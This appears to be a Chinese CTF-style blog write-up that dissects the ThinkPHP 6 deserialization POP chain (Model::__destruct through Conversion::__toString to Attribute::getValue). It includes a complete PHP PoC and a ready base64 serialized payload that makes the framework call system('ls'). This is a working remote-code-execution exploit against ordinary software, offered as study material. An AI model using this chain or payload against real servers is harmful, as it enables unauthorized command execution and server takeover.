前言
去年的安洵杯,裡面有一道iamthinking的題目(好像是這個名字吧),裡面考察到了tp6的反序列化(通過訪問www.zip可以下載源碼),按照慣例,我還是沒有做出來,我不知道咋繞過那個正則emmmm,給沒有做題的大師傅獻上關鍵源碼吧,如果有師傅懂,歡迎評論
<code>"; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } } /<code>
雖然題沒有做出來,但是tp6的反序列化POP鏈必須學習一波。
PoC獻上
<code> "system"]; public function get() { $this->data = ["axin" => "ls"]; //你想要執行的命令,這裡的鍵值只需要保持和withAttr裡的鍵值一致即可 } } namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave = false; protected $withEvent = false; private $exists = true; private $force = true; protected $field = []; protected $schema = []; protected $connection='mysql'; protected $name; protected $suffix = ''; function __construct(){ $this->get(); $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->connection = 'mysql'; } } namespace think\model; use think\Model; class Pivot extends Model { function __construct($obj='') { parent::__construct(); $this->name = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(base64_encode(serialize($b))); /<code>
大佬們好像沒有放現成的PoC,我這裡自己糊弄了一個,大家將就著看吧,下面我們就來看看整個POP鏈吧。
利用鏈分析
這次的利用鏈後半部分也就是__toString()後面的鏈條都是與tp5.2.x一樣的,只是前半條鏈不一致,奈何我之前只分析過tp5.1.x的,而5.1.x與5.2.x的區別就是後半條鏈不一致,也就是說tp5.1.x的利用鏈與tp6.x的利用鏈完全不一樣,而我在準備復現tp5.2.x的pop鏈時,用composer安裝tp5.2.x死活安不上,但是官網上又說5.2只能用composer安裝.......
在這裡插入圖片描述
跑去github上提issue,結果官方回覆說沒有5.2版本了......說出來給各位師傅們避個坑
先列出利用鏈:
<code>think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() think\Model --> db() 後半部分利用鏈(同tp 5.2後半部分利用鏈) think\model\concern\Conversion --> __toString() think\model\concern\Conversion --> __toJson() think\model\concern\Conversion --> __toArray() think\model\concern\Attribute --> getAttr() think\model\concern\Attribute --> getValue() /<code>
可以看到我把利用鏈拆分為了兩部分,前面一部分是到有字符串拼接操作為止,後面一部分是從字符串拼接的魔術方法開始,一直到代碼執行的觸發點。接下來我們就一邊梳理利用鏈,一邊構造POC。
Model的__destruct方法
<code>public function __destruct() { echo "lazySave的值:".$this->lazySave."
"; if ($this->lazySave) { $this->save(); } } /<code>
這裡要執行save方法,需要lazySave=true
跟進save方法,因為我們關注的只是updateData方法,所以updateData後面的代碼我就省略掉了:
<code> public function save(array $data = [], string $sequence = null): bool { // 數據對象賦值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); xxxxxxxxxxxx return true; } /<code>
為了能夠順利執行到updateData(),我們需要保證前面的if條件判斷不成立($this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true
isEmpty
<code>public function isEmpty(): bool { return empty($this->data); } /<code>
只要保證this->data不為空就行
trigger
<code>protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } $call = 'on' . Str::studly($event); try { if (method_exists(static::class, $call)) { $result = call_user_func([static::class, $call], $this); } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) { $result = self::$event->trigger(static::class . '.' . $event, $this); $result = empty($result) ? true : end($result); } else { $result = true; } return false === $result ? false : true; } catch (ModelEventException $e) { return false; } } /<code>
看似這麼長一串,但是我們只需要令withEvent=false就可以直接發揮true,回到save函數,接下來再令$this->exists==true,然後進入updateData()
<code> protected function updateData(): bool { echo "updateData執行-----
"; // 事件回調 if (false === $this->trigger('BeforeUpdate')) { // 經過我們之前的設置,這兒直接跳過 return false; } $this->checkData(); // 獲取有更新的數據 $data = $this->getChangedData(); if (empty($data)) { // 關聯更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // 自動寫入更新時間 $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 檢查允許字段 $allowFields = $this->checkAllowFields(); xxxxxxxxx /<code>
為了能夠調用到checkAllowFields(),還是需要保證前面不直接return,所以$data不能為空,所以我們跟進getChangedData()
<code>public function getChangedData(): array { $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; } return is_object($a) || $a != $b ? 1 : 0; }); // 只讀字段不允許更新 foreach ($this->readonly as $key => $field) { if (isset($data[$field])) { unset($data[$field]); } } return $data; } /<code>
第二個foreach不需要在意,我們這裡令$this->force==true直接返回我們之前自定義的非空data,回到updateData(),後面會執行到if判斷,但是不影響我們的流程,忽略,這就進入了checkAllowFields()
<code>protected function checkAllowFields(): array { echo "進入checkAllowFields()函數
"; // 檢測字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); } return $this->field; } xxxxxxx } /<code>
為了執行db(),令$this->schema與$this->field為空,進入db()
<code>public function db($scope = []): Query { echo "進入db()函數
"; /** @var Query $query */ echo "db函數中的變量值如下:
"; echo "connection=".$this->connection."
"; echo "name=";var_dump($this->name);echo "
"; echo "suffix=".$this->suffix."
"; $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); } /<code>
在db函數里執行了$this->name.$this->suffix這種字符串拼接操作,但是在這之前需要滿足$db->connect()也就是令$this->connection=='mysql',至此前半條鏈已經完成。我們知道了每個變量的值怎麼設置,我們還得找一個合適的類,因為Model類是抽象類,不能實例化,我們找一個他的子類,和tp5.1一樣我們還是用Pivot類來構造PoC,不難構造出如下半成品:
<code>namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave = false; protected $withEvent = false; private $exists = true; private $force = true; protected $field = []; protected $schema = []; protected $connection='mysql'; protected $name; protected $suffix = ''; function __construct(){ $this->get(); $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->connection = 'mysql'; } } namespace think\model; use think\Model; class Pivot extends Model { } /<code>
因為前半條鏈已經來到了$this->name.$this->suffix,那麼無論是name還是suffix連接後半條鏈都是可以的,重要的就是這後半條鏈從那個類開始,漏洞作者找到Conversion類,其中他的魔術方法__toString如下:
<code>public function __toString() { return $this->toJson(); } /<code>
繼續跟toJson:
<code>public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); } /<code>
跟進toArray:
<code> public function toArray(): array { echo "進入toArray函數!!!
"; $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { xxxxxx } foreach ($this->hidden as $key => $val) { xxxxxx } // 合併關聯數據 $data = array_merge($this->data, $this->relation); //$data=["axin"=>"ls"] foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 關聯模型對象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 關聯模型對象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } xxxxxx return $item; } /<code>
根據我最開始給出的poc,$data=["axin"=>"ls"],所以會來到最後一個getAttr()函數處,我們跟進
<code>public function getAttr(string $name) { echo "進入getAttr函數!!!!
"; try { $relation = false; $value = $this->getData($name); // $name='axin' } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; } return $this->getValue($name, $value, $relation); } /<code>
如果熟悉tp5.1.x pop鏈的同學肯定覺得getData的似曾相識,我們一起來看看吧:
<code>public function getData(string $name = null)//$name='axin' { echo "進入getData函數!!!!
"; if (is_null($name)) { return $this->data; } $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($fieldName, $this->relation)) { return $this->relation[$fieldName]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); } /<code>
跟進getRealFieldName:
<code>protected function getRealFieldName(string $name): string // $name = 'axin' { return $this->strict ? $name : Str::snake($name); } /<code>
這裡我們可以令$this->strict=true,這樣就會發揮‘axin’,回到getData,getData繼續執行,也就是$fieldName='axin',最後getData()返回$this->data['axin']也就是返回了'ls'。回到getAttr(),繼續執行進入getValue():
<code>protected function getValue(string $name, $value, $relation = false) { echo "進入getValue函數!!!!
"; // 檢測屬性獲取器 $fieldName = $this->getRealFieldName($name); //$fieldName='axin' $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { echo "到達代碼執行觸發點!!!
"; $closure = $this->withAttr[$fieldName]; //這裡的withAttr = ["axin"=>"system"] $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { xxxxxx } elseif (isset($this->type[$fieldName])) { xxxxx } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { xxxx } elseif ($relation) { xxxxxxxxxx } return $value; } /<code>
這裡順序執行,默認會執行到
<code>$closure = $this->withAttr[$fieldName]; //這裡的withAttr = ["axin"=>"system"] ,$filedName='axin' $value = $closure($value, $this->data);//最終執行system("ls", ["axin"=>"ls"]) /<code>
可以看到最終是執行了system("ls", ["axin"=>"ls"]),而system函數第二個參數是可選的,也就是這種用法是合法的
注:
system ( string $command [, int &$return_var ] ) : string
參數
command
要執行的命令。
return_var
如果提供 return_var 參數, 則外部命令執行後的返回狀態將會被設置到此變量中。
至此,Tp5.6.x的pop鏈後半段也結束了。剩下的就是完善剛剛前半段POP鏈構造的poc了,成品也就是我最開始貼出來的那個,最後看一下我本地調試的效果,當然在調試過程中需要自己構造一個反序列化點,我直接在Index控制器中構造了一個新方法反序列化$_GET[p]:
然後請求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功執行ls命令,其他那些亂七八糟的輸出是我調試是自己echo的,大家在編寫反序列化poc時也可以這樣一點點確定自己寫對了沒。
在這裡插入圖片描述
參考
向大佬們看齊,respect
https://xz.aliyun.com/t/6619
https://xz.aliyun.com/t/6479
https://www.anquanke.com/post/id/187393
https://www.anquanke.com/post/id/187332